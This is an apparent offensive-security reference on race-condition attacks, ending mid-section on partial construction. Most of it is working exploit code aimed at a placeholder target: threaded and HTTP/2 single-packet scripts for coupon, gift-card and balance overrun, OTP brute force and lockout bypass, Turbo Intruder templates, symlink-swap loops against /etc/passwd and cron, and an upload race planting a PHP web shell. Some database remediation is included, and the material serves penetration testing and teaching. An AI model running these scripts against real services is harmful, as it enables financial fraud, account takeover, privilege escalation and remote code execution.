A complete operational reference for Race Condition Vulnerabilities covering TOCTOU, limit overrun, multi-endpoint races, single-endpoint races, session/token races, file system races, database-level races, and partial construction. Covers detection, exploitation techniques, Burp Suite tooling (Turbo Intruder, HTTP/2 single-packet attack), custom scripts, lab walkthroughs, and remediation. Mapped to MITRE ATT&CK T1548 and CWE-362 (Concurrent Execution Using Shared Resource with Improper Synchronization).
1. Core Concepts & Race Condition Types
RACE CONDITION TAXONOMY:
LIMIT OVERRUN (most exploitable in web) ├── Coupon / discount applied multiple times ├── Gift card redeemed more than once ├── Vote / like submitted more than the allowed amount └── Withdrawal exceeding account balance
TOCTOU — Time-of-Check to Time-of-Use ├── Permission check happens → state changes → action executes ├── File existence check → file replaced → file read/executed └── Balance verified → concurrent debit causes overdraft
MULTI-ENDPOINT Race Conditions ├── Two different endpoints share state without synchronization ├── Register + login race to bypass email verification └── Password reset + session invalidation race
SINGLE-ENDPOINT Race Conditions ├── Same endpoint hit concurrently with different parameters ├── Username change + session fixation └── Email change + confirmation bypass
SESSION / TOKEN Races ├── Password reset token reuse within race window ├── OTP / 2FA code valid across concurrent requests └── JWT refresh token race — multiple valid tokens
FILE SYSTEM Races ├── Temp file creation → symlink swap → privileged write ├── TOCTOU on file permissions (setuid binaries) └── Log rotation race → log injection
DATABASE Races ├── Non-atomic read-modify-write sequences ├── Missing SELECT FOR UPDATE / row-level locking └── UNIQUE constraint bypass via concurrent INSERT
Key Terms:
- Race Window — The tiny time gap between a check and the corresponding action where a concurrent request can interfere.
- TOCTOU — Time-of-Check to Time-of-Use. The classic race pattern: check state, state changes before use.
- Limit Overrun — Exploiting a race window to exceed an intended numerical limit (uses, balance, votes, redemptions).
- Single-Packet Attack — HTTP/2 technique to send multiple requests in a single TCP packet, eliminating network jitter from the race window.
- Last-Byte Sync — HTTP/1.1 technique: prepare all requests, hold the final byte of each, release simultaneously.
- Sub-millisecond window — Some race windows are only a few microseconds wide. HTTP/2 single-packet attack collapses timing to the server's thread scheduling.
- State collision — When two concurrent requests read the same state, both pass a check, and both execute the privileged action.
- Atomic operation — An operation that cannot be interrupted midway. Database transactions with proper locking are atomic.
- Partial construction — An object/session is in an intermediate (insecure) state between creation steps, exploitable by a racing request.
2. How Race Windows Work
2.1 The Classic Race Window
Normal (sequential) flow:
─────────────────────────────────────────────────────────
Request 1: [CHECK balance=$100] → [DEBIT $100] → [balance=0]
Request 2: [CHECK balance=0] → DENIED
─────────────────────────────────────────────────────────
Race condition — two concurrent requests:
─────────────────────────────────────────────────────────
Request 1: [CHECK balance=$100] ──────────────── [DEBIT $100]
Request 2: [CHECK balance=$100] ─────────── [DEBIT $100]
↑
Both pass the check.
Both debit $100.
Balance goes to -$100.
─────────────────────────────────────────────────────────
2.2 Why Web Applications Are Vulnerable
Typical web app code (no locking):
if (user.balance >= amount): ← CHECK (reads DB)
user.balance -= amount ← MODIFY (writes DB)
db.save(user)
return "Transfer successful"
Two concurrent requests both read balance = $100.
Both pass the if-check.
Both modify and write balance = $0.
Net effect: $200 removed from $100 account.
2.3 Race Window Size
Large race window (easy to exploit):
─ Check and use are separated by: external API call, email send,
file write, sleep(), user interaction, queue processing
Small race window (needs timing precision):
─ Check and use separated by: single DB read + write in same function
─ Requires: HTTP/2 single-packet attack, or Turbo Intruder last-byte sync
Sub-millisecond window (very hard, needs lab conditions):
─ Check and use in same atomic DB transaction
─ Usually NOT exploitable from remote over internet
─ May be exploitable on same server (local exploit)
2.4 Identifying Race Windows in Code
# Look for this anti-pattern:
# Step 1 — Read state:
user = db.query("SELECT balance FROM accounts WHERE id = %s", user_id)
# RACE WINDOW STARTS HERE ←
# Step 2 — Check state:
if user.balance >= amount:
# Step 3 — Modify state (non-atomic with step 1):
db.execute("UPDATE accounts SET balance = balance - %s WHERE id = %s",
amount, user_id)
# RACE WINDOW ENDS HERE ←
# Safe version — atomic check+modify:
rows_affected = db.execute(
"UPDATE accounts SET balance = balance - %s "
"WHERE id = %s AND balance >= %s",
amount, user_id, amount
)
if rows_affected == 0:
return "Insufficient funds"
3. Detection & Fingerprinting
3.1 Identifying Race Condition Candidates
Look for these patterns in web applications:
HIGH VALUE TARGETS:
→ Discount / promo / coupon code redemption endpoints
→ Gift card balance redemption
→ "Limited" stock purchase (buy 1 per user)
→ Referral bonus claiming
→ Voting / rating / liking systems with per-user limits
→ Free trial activation (once per account)
→ Password reset flow (token usage)
→ Email verification bypass
→ Withdrawal / transfer endpoints
→ Rate-limited actions (login attempts, OTP tries)
→ File upload + virus scan + move sequence
→ Registration + privilege assignment flow
→ "Use once" token / invite code endpoints
3.2 Manual Detection — Send Parallel Requests
# Simple test with curl (parallel):
curl -s -X POST https://target.com/api/redeem \
-H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"code":"DISCOUNT50"}' &
curl -s -X POST https://target.com/api/redeem \
-H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"code":"DISCOUNT50"}' &
curl -s -X POST https://target.com/api/redeem \
-H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"code":"DISCOUNT50"}' &
wait
# If more than one request returns "success" → race condition!
3.3 Response Analysis — What to Look For
INDICATORS of successful race exploitation:
→ Multiple "200 OK" / "success" responses to requests that should only
succeed once (e.g., coupon redemption)
→ Balance/count going negative or below zero
→ Duplicate entries appearing in DB / UI
→ Multiple confirmation emails sent
→ Both "code used" AND "code valid" responses returned in same batch
INDICATORS of race window (even if not yet exploited):
→ Inconsistent responses to identical concurrent requests
(some 200, some 400/409) — suggests timing-sensitive check
→ Intermittent errors on rapid repeated requests
→ "Already used" error appearing only sometimes across parallel requests
3.4 Detecting TOCTOU Patterns
Look for multi-step flows where state could change between steps:
FLOW PATTERN to watch for:
1. Check performed (GET /api/check or embedded in logic)
2. User / system performs intermediate step (file write, DB update,
external call, redirect, email send)
3. Action executed based on earlier check result
EXAMPLE INDICATORS in HTTP traffic:
→ Endpoint returns a token / confirmation after check
→ Separate endpoint consumes the token to execute action
→ Time gap between check and use (especially if user-driven)
→ File upload → scan → move pattern (classic TOCTOU)
3.5 Fingerprinting Race Window Size
Use Burp Repeater → "Send group (parallel)" with 2 requests:
LARGE window (> 100ms): Easy — any parallel send works.
MEDIUM window (10–100ms): Use last-byte synchronization.
SMALL window (< 10ms): Use HTTP/2 single-packet attack.
SUB-MS window (< 1ms): Likely requires local/same-server exploit.
Rule of thumb:
- If you can reproduce with 5 parallel curl requests → large window
- If you need Turbo Intruder → medium/small window
- If Turbo Intruder fails → try single-packet attack (HTTP/2)
- If single-packet fails → may not be remotely exploitable
4. Limit Overrun (Most Common)
4.1 What It Is
An application enforces a limit by:
1. Checking if the limit has been reached
2. Performing the action if not
Without locking, two concurrent requests can both pass the check
before either records the action — both succeed, exceeding the limit.
Classic examples:
- Redeem coupon ONCE per account → redeem 5x simultaneously
- Withdraw up to $1000 → withdraw $1000 five times simultaneously
- Vote once per post → vote 50 times simultaneously
- Use free trial once → activate on 10 accounts simultaneously
4.2 Detecting Limit Overrun
# Step 1: Perform the action once legitimately
# Step 2: See the "already used / limit reached" message
# Step 3: Reset state (if possible) or use a fresh target
# Step 4: Send N parallel requests at the same moment
# Quick test (5 parallel):
for i in {1..5}; do
curl -s -X POST https://target.com/api/coupon/apply \
-H "Cookie: session=SESSION" \
-d '{"code":"FREESHIP"}' &
done
wait
4.3 Exploiting Gift Card / Coupon Overrun
# Python — concurrent redemption:
import threading
import requests
TARGET = "https://target.com/api/redeem"
SESSION_COOKIE = "session=YOUR_SESSION_HERE"
PAYLOAD = {"gift_card_code": "GIFTCARD123"}
HEADERS = {
"Content-Type": "application/json",
"Cookie": SESSION_COOKIE
}
results = []
def redeem():
r = requests.post(TARGET, json=PAYLOAD, headers=HEADERS)
results.append((r.status_code, r.text[:100]))
threads = [threading.Thread(target=redeem) for _ in range(20)]
# Start all threads as close together as possible:
for t in threads:
t.start()
for t in threads:
t.join()
for status, body in results:
print(f"[{status}] {body}")
# Success: multiple 200 responses with "Balance added: $50"
4.4 Voting / Rating Overrun
# Exploit vote limit (1 vote per user per post):
import asyncio
import aiohttp
TARGET = "https://target.com/api/vote"
HEADERS = {"Content-Type": "application/json",
"Cookie": "session=YOUR_SESSION"}
PAYLOAD = {"post_id": 1337, "vote": "up"}
CONCURRENT = 30
async def vote(session):
async with session.post(TARGET, json=PAYLOAD,
headers=HEADERS) as r:
return r.status, await r.text()
async def main():
async with aiohttp.ClientSession() as session:
tasks = [vote(session) for _ in range(CONCURRENT)]
results = await asyncio.gather(*tasks)
for status, body in results:
print(f"[{status}] {body[:80]}")
asyncio.run(main())
4.5 Balance Overdraft (Transfer / Withdrawal)
# Classic overdraft race — withdraw $100 from $100 balance:
import threading, requests
TARGET = "https://target.com/api/transfer"
HEADERS = {"Content-Type": "application/json",
"Cookie": "session=YOUR_SESSION"}
PAYLOAD = {"amount": 100, "to_account": "ATTACKER_ACCOUNT"}
def withdraw():
r = requests.post(TARGET, json=PAYLOAD, headers=HEADERS)
print(f"[{r.status_code}] {r.text[:80]}")
# Fire 5 simultaneous withdrawals:
threads = [threading.Thread(target=withdraw) for _ in range(5)]
[t.start() for t in threads]
[t.join() for t in threads]
# If vulnerable: multiple "Transfer successful" → balance goes negative
5. Multi-Endpoint Race Conditions
5.1 What It Is
Two DIFFERENT endpoints share a piece of state but neither locks it.
Examples:
→ /api/verify-email + /api/login
Race: Complete login before email verification finishes marking account unverified
→ /api/password-reset/request + /api/password-reset/use
Race: Use the token while another reset request is still processing
→ /api/upload-file + /api/process-file
Race: Process file while upload validation is still running
→ /api/change-role + /api/get-admin-token
Race: Grab admin token during the role-change transition
5.2 Email Verification Bypass
Flow:
1. Register account → server sets account.verified = false
2. Server sends verification email
3. Server ALSO creates session (so you can browse while unverified)
Race:
- Request A: POST /api/register (creates unverified account)
- Request B: POST /api/promote-to-premium (reads account state)
If Request B fires during the window after account creation
but before verified=false is committed → bypass verification.
Test:
1. Send registration request
2. IMMEDIATELY (parallel) send action that requires verified account
3. Check if action succeeds before email verification
5.3 Password Reset + Session Race
# Race: invalidate old sessions vs. use of old session
# Step 1: Trigger password reset
curl -X POST https://target.com/api/reset-password/request \
-d '{"email":"victim@example.com"}'
# Step 2: While reset processes (old sessions should be invalidated),
# simultaneously use old session:
curl -s -X GET https://target.com/api/account \
-H "Cookie: session=OLD_SESSION" &
# If the old session works AFTER the reset triggered →
# session invalidation has a race window
5.4 Multi-Endpoint Detection via Burp
In Burp Suite:
1. Capture Request A (e.g., POST /redeem-coupon)
2. Capture Request B (e.g., GET /checkout)
3. Send both to Repeater
4. Group them: Repeater → "Create tab group"
5. Send → "Send group (parallel)"
6. Observe: does B succeed in a state it shouldn't?
OR use Turbo Intruder with two different request files:
- See Section 12 for Turbo Intruder multi-request setup
6. Single-Endpoint Race Conditions
6.1 What It Is
Same endpoint, hit concurrently with same or different parameters.
The endpoint has internal state transitions that are not thread-safe.
Examples:
→ POST /api/change-email — sends confirmation to BOTH old and new email
Race: change to email_A and email_B simultaneously
→ both confirmations sent, attacker confirms email_B on victim account
→ POST /api/purchase?item=premium — decrements inventory
Race: buy last item multiple times → negative inventory, multiple deliveries
→ POST /api/login — increments failed_attempts counter
Race: two logins at the exact same time might count as one attempt
→ double the allowed login attempts (bypasses lockout)
6.2 Login Lockout Bypass
# Race the failed login counter:
# If two requests arrive simultaneously, the counter may only
# increment once instead of twice.
import threading, requests
TARGET = "https://target.com/api/login"
HEADERS = {"Content-Type": "application/json"}
# Try two passwords at once (each would normally increment counter):
payloads = [
{"username": "admin", "password": "Password1"},
{"username": "admin", "password": "Password2"},
]
def login(payload):
r = requests.post(TARGET, json=payload, headers=HEADERS)
print(f"[{r.status_code}] {r.text[:80]}")
threads = [threading.Thread(target=login, args=(p,)) for p in payloads]
[t.start() for t in threads]
[t.join() for t in threads]
# Effectively: 2 attempts counted as 1
# Allows more password guesses within the lockout threshold
6.3 Email / Username Change Race
Scenario: POST /api/change-email accepts new email,
sends confirmation to both old and new addresses.
Race condition:
- Send change to attacker@attacker.com
- Simultaneously send change to victim@victim.com
Both requests process in parallel:
→ Confirmation email goes to attacker@attacker.com (from req 1's state)
→ Account email is set to victim@victim.com (from req 2's commit)
→ Attacker clicks link from req 1 → confirms victim@victim.com account
Or inverse:
→ Change your own account email to victim@victim.com via race
→ Receive confirmation at your address
→ Account now has victim@victim.com but attacker confirmed it
6.4 OTP / Rate Limit Bypass via Single-Endpoint Race
# OTP brute force: bypass per-attempt rate limiting
# by sending all guesses simultaneously
import threading, requests
TARGET = "https://target.com/api/verify-otp"
HEADERS = {"Content-Type": "application/json",
"Cookie": "session=YOUR_SESSION"}
# Generate all 4-digit OTPs (or a range):
otps = [str(i).zfill(4) for i in range(0, 10000)]
results = []
lock = threading.Lock()
def try_otp(otp):
r = requests.post(TARGET,
json={"otp": otp},
headers=HEADERS)
if "success" in r.text.lower() or r.status_code == 200:
with lock:
results.append(otp)
print(f"[VALID OTP] {otp}")
# Send in batches of 50 concurrent:
batch_size = 50
for i in range(0, len(otps), batch_size):
batch = otps[i:i+batch_size]
threads = [threading.Thread(target=try_otp, args=(o,))
for o in batch]
[t.start() for t in threads]
[t.join() for t in threads]
if results:
break
7. TOCTOU (Time-of-Check to Time-of-Use)
7.1 Classic TOCTOU Pattern
CHECK: Is condition X true? ← state read here
← GAP: state can change here
USE: Perform action based on X being true
If an attacker can change the state between CHECK and USE → TOCTOU.
7.2 Web Application TOCTOU
Example: File upload with virus scan
1. User uploads file.php.jpg (renamed malicious PHP)
2. Server saves to /tmp/uploads/abc123.jpg ← CHECK: is it an image?
3. Server runs antivirus scan ← GAP: file is accessible
4. Server moves to /var/www/uploads/ ← USE: serve file
Race: Between step 3 and 4, access /tmp/uploads/abc123.jpg
→ If file is served from /tmp before it moves → served as PHP → RCE
OR: Race the antivirus window:
→ Upload clean file → AV scan passes → REPLACE with malicious file
(if /tmp is world-writable) → clean file moved to web root?
No — but the scan result (clean) is used for the replaced malicious file.
7.3 TOCTOU on Role / Permission Check
Flow:
GET /api/data → checks user.role == "admin" → returns admin data
POST /api/role → changes user.role
Race:
Thread A: GET /api/data (reads role = "user" — NORMALLY denied)
Thread B: POST /api/role {"role":"admin"} (sets role = "admin")
If Thread A's permission check reads AFTER Thread B commits:
→ Thread A sees role = "admin" → returns admin data
→ Thread A's session was NOT admin when request started
(Inverse: change role to admin, simultaneously request privilege before
old-role revocation is committed → bypass role revocation)
7.4 TOCTOU on Password Reset Token
Vulnerable flow:
1. User requests password reset
2. Server generates token, saves to DB: {token: "abc", used: false}
3. User sends token via POST /api/reset {"token":"abc","newpw":"x"}
4. Server checks: SELECT used FROM reset_tokens WHERE token = 'abc'
5. Server sets: UPDATE reset_tokens SET used=true WHERE token='abc'
6. Server updates password
TOCTOU gap: Between step 4 (check) and step 5 (mark used),
send the same token again in parallel.
Both requests:
- Read used = false ← both pass the check
- Both update the password (req 1 to newpw1, req 2 to newpw2)
- Both mark used = true
Attacker result: password is set to whatever req 2 specified,
even after the legitimate user already reset it.
8. Session & Token Race Conditions
8.1 JWT Refresh Token Race
Vulnerable flow:
POST /api/refresh → validates refresh_token → issues new access_token + refresh_token
→ invalidates old refresh_token
Race: Send two simultaneous refresh requests with the SAME refresh_token.
If not atomic:
- Both requests validate the old token (it's still valid)
- Both issue new tokens
- Both try to invalidate the old token (idempotent — no error)
- Result: TWO valid refresh_tokens + TWO valid access_tokens
Impact: Token family / rotation mechanism bypassed.
Attacker who stole ONE refresh token can generate permanent tokens.
Test:
curl -s -X POST https://target.com/api/refresh \
-d '{"refresh_token":"STOLEN_TOKEN"}' &
curl -s -X POST https://target.com/api/refresh \
-d '{"refresh_token":"STOLEN_TOKEN"}' &
wait
If both return 200 with different access_tokens → VULNERABLE
8.2 Password Reset Token Reuse
# Use Burp Repeater → Group → Send parallel:
# Both requests use the same reset token before it's invalidated
# Manual test:
TOKEN="reset_token_from_email"
curl -s -X POST https://target.com/api/reset-password \
-d "{\"token\":\"$TOKEN\",\"new_password\":\"Hacked1!\"}" &
curl -s -X POST https://target.com/api/reset-password \
-d "{\"token\":\"$TOKEN\",\"new_password\":\"Hacked2!\"}" &
wait
# If both return 200 → token was reused → race condition
# One of those passwords is now set — attacker picks their own
8.3 2FA / OTP Race — Multiple Valid Windows
Vulnerable scenario:
- POST /api/2fa/verify with OTP code
- Server checks: is OTP valid AND not yet used?
- Server marks OTP as used AFTER verification
Race: Send the same OTP twice simultaneously.
Both requests read "not used" → both pass → both authenticate.
One session for attacker, one for victim (if sharing OTP).
Or: MFA fatigue race
- Trigger 2FA → victim gets push notification
- Simultaneously verify with stolen code AND with "remember device"
- Race condition: "remember device" might apply before 2FA is fully checked
8.4 Session Fixation via Race
Scenario: Login changes session ID (secure) but there's a race window.
1. Attacker fixes session ID (pre-login): session=FIXED_ID
2. Victim logs in:
- Server reads request with session=FIXED_ID
- Server creates new session = RANDOM_ID
- GAP: old session=FIXED_ID still briefly valid
- Server deletes session=FIXED_ID
3. Attacker sends request with session=FIXED_ID during the GAP
→ Gets authenticated response before session is invalidated
9. File System Race Conditions
9.1 Symlink Race (Classic Linux Privilege Escalation)
# Scenario: Privileged script writes to /tmp/output.txt as root
# Vulnerable code (running as root):
# echo "result" > /tmp/output.txt ← CHECK: /tmp/output.txt doesn't exist
# ← GAP
# (create and write file) ← USE: writes as root
# Attacker race:
while true; do
rm -f /tmp/output.txt
ln -sf /etc/passwd /tmp/output.txt # symlink to target
done &
# Wait for privileged process to run:
# It checks /tmp/output.txt doesn't exist (it doesn't momentarily)
# Creates what it thinks is a new file
# Actually writes to /etc/passwd via symlink
# → Privilege escalation
# Better automated version using inotifywait:
inotifywait -e create /tmp/ 2>/dev/null | while read; do
ln -sf /etc/cron.d/evil /tmp/output.txt 2>/dev/null
done
9.2 Web Upload TOCTOU
# Exploit file upload race:
# Target: upload validates extension, then moves file
# Gap: between validation and move, file is accessible
import requests, threading, time
TARGET_UPLOAD = "https://target.com/api/upload"
TARGET_ACCESS = "https://target.com/uploads/shell.php"
HEADERS = {"Cookie": "session=YOUR_SESSION"}
def upload():
# Upload PHP file disguised as image:
files = {"file": ("shell.php%00.jpg",
b"<?php system($_GET['cmd']); ?>",
"image/jpeg")}
r = requests.post(TARGET_UPLOAD, files=files, headers=HEADERS)
print(f"[UPLOAD] {r.status_code} {r.text[:60]}")
def access():
# Repeatedly try to access the file during validation gap:
for _ in range(50):
r = requests.get(TARGET_ACCESS + "?cmd=id", headers=HEADERS)
if "uid=" in r.text:
print(f"[RCE!] {r.text[:100]}")
break
time.sleep(0.01)
t_upload = threading.Thread(target=upload)
t_access = threading.Thread(target=access)
t_upload.start()
t_access.start()
t_upload.join()
t_access.join()
9.3 Log File Race
# Scenario: Log rotation script runs as root, renames log file,
# then creates a new one. Race window: between rename and create.
# Vulnerable log rotation:
# mv /var/log/app/app.log /var/log/app/app.log.1 ← renames old
# touch /var/log/app/app.log ← creates new
# chown www-data /var/log/app/app.log
# Race:
# Between mv and touch, create a symlink:
inotifywait -e moved_from /var/log/app/ 2>/dev/null | while read; do
ln -sf /etc/cron.d/attacker /var/log/app/app.log
# Now "touch" creates /etc/cron.d/attacker and chown gives us write
done
10. Database-Level Race Conditions
10.1 Non-Atomic Read-Modify-Write
-- VULNERABLE pattern (two separate statements):
SELECT balance FROM accounts WHERE id = 1;
-- RACE WINDOW: another transaction can modify balance here
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
-- SAFE — Atomic conditional update:
UPDATE accounts
SET balance = balance - 100
WHERE id = 1 AND balance >= 100;
-- Check rows affected:
-- If 0 rows updated → insufficient funds (thread-safe)
-- If 1 row updated → success (only one concurrent request can subtract)
10.2 Missing SELECT FOR UPDATE
-- VULNERABLE — two transactions race:
-- TX1: SELECT balance FROM accounts WHERE id=1; → 100
-- TX2: SELECT balance FROM accounts WHERE id=1; → 100
-- TX1: UPDATE accounts SET balance=0 WHERE id=1;
-- TX2: UPDATE accounts SET balance=0 WHERE id=1; ← also succeeds!
-- SAFE — pessimistic locking:
BEGIN;
SELECT balance FROM accounts WHERE id = 1 FOR UPDATE;
-- ← TX2 BLOCKS here until TX1 commits
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
COMMIT;
-- SAFE — optimistic locking (version field):
-- Add: version INT to table
SELECT balance, version FROM accounts WHERE id = 1; -- version = 5
UPDATE accounts
SET balance = balance - 100, version = version + 1
WHERE id = 1 AND version = 5; -- fails if version changed since read
-- If 0 rows: someone else modified it → retry or abort
10.3 UNIQUE Constraint Race
-- VULNERABLE: check-then-insert (non-atomic):
-- Concurrent INSERTs for same username:
-- Request 1: SELECT COUNT(*) FROM users WHERE username='admin'; → 0
-- Request 2: SELECT COUNT(*) FROM users WHERE username='admin'; → 0
-- Request 1: INSERT INTO users (username) VALUES ('admin');
-- Request 2: INSERT INTO users (username) VALUES ('admin');
-- Result: DUPLICATE usernames in table (if no UNIQUE constraint)
-- SAFE — rely on DB UNIQUE constraint:
CREATE UNIQUE INDEX idx_username ON users(username);
-- Then use INSERT and catch the duplicate key error:
try:
db.execute("INSERT INTO users (username) VALUES (?)", [username])
except IntegrityError:
return "Username taken"
-- OR use INSERT IGNORE / ON CONFLICT:
INSERT OR IGNORE INTO users (username) VALUES (?); -- SQLite
INSERT INTO users (username) VALUES (?)
ON CONFLICT (username) DO NOTHING; -- PostgreSQL
INSERT IGNORE INTO users (username) VALUES (?); -- MySQL
10.4 Exploiting DB Race via Concurrent Requests
# Test for UNIQUE constraint bypass or duplicate account creation:
import threading, requests
TARGET = "https://target.com/api/register"
HEADERS = {"Content-Type": "application/json"}
PAYLOAD = {"username": "admin", "password": "Password1!", "email": "a@b.com"}
results = []
def register():
r = requests.post(TARGET, json=PAYLOAD, headers=HEADERS)
results.append((r.status_code, r.json() if r.headers.get(
"Content-Type","").startswith("application/json") else r.text[:80]))
threads = [threading.Thread(target=register) for _ in range(10)]
[t.start() for t in threads]
[t.join() for t in threads]
success_count = sum(1 for s, _ in results if s == 200)
print(f"Successes: {success_count} / {len(results)}")
# If > 1 success for same username → duplicate accounts possible
11. HTTP/2 Single-Packet Attack
11.1 Why It Matters
Traditional HTTP/1.1 parallel requests:
→ Each request travels in separate TCP packets
→ Network jitter (5–50ms) creates timing differences between arrivals
→ Server processes requests at slightly different times
→ Small race windows (< 10ms) are hard to hit
HTTP/2 Single-Packet Attack:
→ HTTP/2 multiplexes multiple streams over ONE TCP connection
→ All requests can be packed into a SINGLE TCP packet
→ Server receives ALL requests at the EXACT SAME MICROSECOND
→ Collapses timing variance to server-side thread scheduling only
→ Makes sub-10ms race windows reliably exploitable
11.2 How the Single-Packet Attack Works
HTTP/1.1 Last-Byte Synchronization (fallback for HTTP/1.1):
┌─────────────────────────────────────────────────────────┐
│ Prepare all requests, hold last byte of each body │
│ Simultaneously release all final bytes │
│ Sends all requests as close together as possible │
│ Still subject to network jitter │
└─────────────────────────────────────────────────────────┘
HTTP/2 Single-Packet Attack:
┌─────────────────────────────────────────────────────────┐
│ Open one HTTP/2 connection │
│ Send all request HEADERS on their own frames │
│ Send all request BODIES + END_STREAM on same TCP segment │
│ → All arrive at server kernel buffer simultaneously │
│ → Server processes all at effectively the same time │
└─────────────────────────────────────────────────────────┘
11.3 Burp Suite — Single-Packet Attack Setup
1. Capture the target request in Burp Proxy
2. Send to Repeater (Ctrl+R)
3. Right-click tab → "Duplicate tab" × N (e.g., 20 copies)
4. Select all tabs → "Add to group" (or create new group)
5. In the group, click dropdown arrow next to "Send"
6. Select "Send group (single-packet attack)"
- This uses HTTP/2 to pack all requests into one packet
- Falls back to last-byte sync if HTTP/2 not supported
Key settings:
→ Ensure "Connection" header is NOT set to "close" (keep-alive needed)
→ Make sure target supports HTTP/2 (check via Burp → Target → Site map)
→ If target is HTTP/1.1 only → use "Send group (parallel)" instead
11.4 Single-Packet Attack — Manual Python Implementation
# HTTP/2 single-packet race using httpx (supports HTTP/2):
import httpx
import asyncio
TARGET = "https://target.com/api/redeem"
HEADERS = {
"Content-Type": "application/json",
"Cookie": "session=YOUR_SESSION"
}
PAYLOAD = {"code": "PROMO50"}
CONCURRENT = 20
async def attack():
# httpx HTTP/2 client — all requests share one connection:
async with httpx.AsyncClient(http2=True, verify=False) as client:
tasks = [
client.post(TARGET, json=PAYLOAD, headers=HEADERS)
for _ in range(CONCURRENT)
]
# asyncio.gather fires all tasks effectively simultaneously:
responses = await asyncio.gather(*tasks, return_exceptions=True)
for r in responses:
if isinstance(r, Exception):
print(f"[ERR] {r}")
else:
print(f"[{r.status_code}] {r.text[:80]}")
# Install: pip install httpx[http2]
asyncio.run(attack())
11.5 Warming the Connection (Pre-flight Technique)
Problem: First request on a new connection is slow (TLS handshake).
This timing difference can cause the race to fail for the first request.
Solution: Send a "warm-up" request first, then race.
In Burp:
1. Send one request manually to establish the connection
2. Then immediately send the group (single-packet)
In Python:
async def attack():
async with httpx.AsyncClient(http2=True) as client:
# Warm-up: harmless GET to establish connection
await client.get("https://target.com/", headers=HEADERS)
# Now race:
tasks = [client.post(TARGET, json=PAYLOAD, headers=HEADERS)
for _ in range(20)]
responses = await asyncio.gather(*tasks)
12. Exploitation Tooling — Burp, Turbo Intruder, Custom Scripts
12.1 Burp Repeater — Parallel Group Send
Setup:
1. Capture request → Send to Repeater
2. Duplicate tab: Ctrl+R multiple times (or right-click → Duplicate)
3. Select all tabs in Repeater → right-click → "Add to group"
4. Use dropdown: "Send group (parallel)" for HTTP/1.1
OR "Send group (single-packet attack)" for HTTP/2
Tip: Use "Create group" feature and name it for organization.
Tip: Responses appear color-coded by status code in group view.
12.2 Turbo Intruder — Basic Race
# Turbo Intruder script for limit overrun:
# Extensions → Turbo Intruder → right-click request → Send to Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=1,
pipeline=False)
# Queue 20 identical requests to fire simultaneously:
for i in range(20):
engine.queue(target.req, gate='race')
# Fire all queued requests at the same moment:
engine.openGate('race')
def handleResponse(req, interesting):
table.add(req)
12.3 Turbo Intruder — Multi-Request Race
# Race two different requests:
# e.g., Request A = apply coupon, Request B = checkout
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=1,
pipeline=False)
# Request A (coupon apply) — queued 10x:
req_a = """POST /api/coupon/apply HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=SESSION_A
{"code":"DISCOUNT50"}"""
# Request B (checkout) — queued 10x:
req_b = """POST /api/checkout HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=SESSION_A
{"cart_id":"CART123"}"""
for _ in range(10):
engine.queue(req_a, gate='race')
for _ in range(10):
engine.queue(req_b, gate='race')
engine.openGate('race')
def handleResponse(req, interesting):
table.add(req)
12.4 Turbo Intruder — Last-Byte Synchronization (HTTP/1.1)
# For HTTP/1.1 targets where single-packet isn't available:
# Send all requests except the last byte, then release simultaneously
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
pipeline=False)
# 'finalPacket' holds the last byte until gate opens:
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # release all final bytes simultaneously
def handleResponse(req, interesting):
table.add(req)
12.5 Custom Python Race Script — Template
#!/usr/bin/env python3
"""
Race Condition Exploitation Template
Usage: python3 race.py
"""
import asyncio
import httpx
import sys
# ── CONFIG ──────────────────────────────────────────────────────────────
TARGET_URL = "https://target.com/api/redeem"
SESSION_COOKIE = "session=YOUR_SESSION_HERE"
PAYLOAD = {"code": "GIFT123"}
CONCURRENCY = 20 # Number of parallel requests
USE_HTTP2 = True # Set False for HTTP/1.1 targets
WARMUP = True # Send warm-up request first
# ────────────────────────────────────────────────────────────────────────
HEADERS = {
"Content-Type": "application/json",
"Cookie": SESSION_COOKIE,
}
async def send_request(client: httpx.AsyncClient, idx: int):
try:
r = await client.post(TARGET_URL, json=PAYLOAD, headers=HEADERS,
timeout=10)
return idx, r.status_code, r.text[:120]
except Exception as e:
return idx, 0, str(e)
async def race():
limits = httpx.Limits(max_connections=CONCURRENCY,
max_keepalive_connections=CONCURRENCY)
async with httpx.AsyncClient(http2=USE_HTTP2,
verify=False,
limits=limits) as client:
if WARMUP:
print("[*] Warming up connection...")
try:
await client.get(TARGET_URL.rsplit("/", 1)[0] + "/",
headers=HEADERS, timeout=5)
except Exception:
pass
print(f"[*] Firing {CONCURRENCY} concurrent requests...")
tasks = [send_request(client, i) for i in range(CONCURRENCY)]
results = await asyncio.gather(*tasks)
success = 0
for idx, status, body in sorted(results):
flag = "✓" if status == 200 else "✗"
print(f" [{flag}] #{idx:02d} HTTP {status} → {body}")
if status == 200:
success += 1
print(f"\n[+] {success}/{CONCURRENCY} requests succeeded.")
if success > 1:
print("[!] POSSIBLE RACE CONDITION — multiple successes!")
if __name__ == "__main__":
asyncio.run(race())
12.6 ffuf for Race Condition Testing
# ffuf can send parallel requests useful for quick race testing:
# Install:
go install github.com/ffuf/ffuf/v2@latest
# Simple race test (20 concurrent requests):
# Create a wordlist with 20 entries (any content):
python3 -c "print('\n'.join(['race']*20))" > /tmp/race_list.txt
ffuf -w /tmp/race_list.txt \
-u https://target.com/api/redeem \
-X POST \
-H "Content-Type: application/json" \
-H "Cookie: session=SESSION" \
-d '{"code":"PROMO50"}' \
-t 20 \
-mc 200
# Count 200 responses — more than 1 = race condition
13. Partial Construction & Object Lifecycle Races
13.1 What Partial Construction Is
An object or session goes through multiple creation steps.
Between steps, the object is in an INTERMEDIATE (insecure) state.
A racing request can interact with the object during this window.
Example lifecycle:
